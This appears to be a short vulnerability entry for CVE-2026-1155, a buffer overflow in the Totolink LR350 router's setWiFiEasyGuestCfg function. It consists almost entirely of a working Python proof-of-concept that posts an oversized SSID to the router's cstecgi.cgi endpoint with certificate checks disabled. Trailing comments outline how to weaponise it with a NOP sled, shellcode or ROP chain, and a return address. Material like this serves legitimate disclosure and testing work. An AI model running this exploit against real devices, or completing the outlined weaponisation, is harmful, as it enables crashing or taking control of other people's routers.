CVE-2026-1155 Totolink LR350 setWiFiEasyGuestCfg缓冲区溢出漏洞

import requests import urllib3 urllib3.disable_warnings() target_ip = '192.168.10.1' target_port = 443 # Generate payload with 300+ bytes to trigger overflow # Pattern to identify offset: cyclic pattern or long string ssid_payload = 'A' * 300 # Build the exploit request url = f'https://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'https://{target_ip}/', } data = { 'topicurl': 'setWiFiEasyGuestCfg', 'ssid': ssid_payload, 'encryption': 'wpapsk', 'pwd': 'guest1234', 'enable': '1' } try: response = requests.post(url, data=data, headers=headers, verify=False, timeout=10) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') except requests.exceptions.RequestException as e: print(f'Request failed: {e}') # Note: For actual exploitation, replace 'A'*300 with: # 1. NOP sled # 2. Shellcode/ROP chain # 3. Return address pointing to shellcode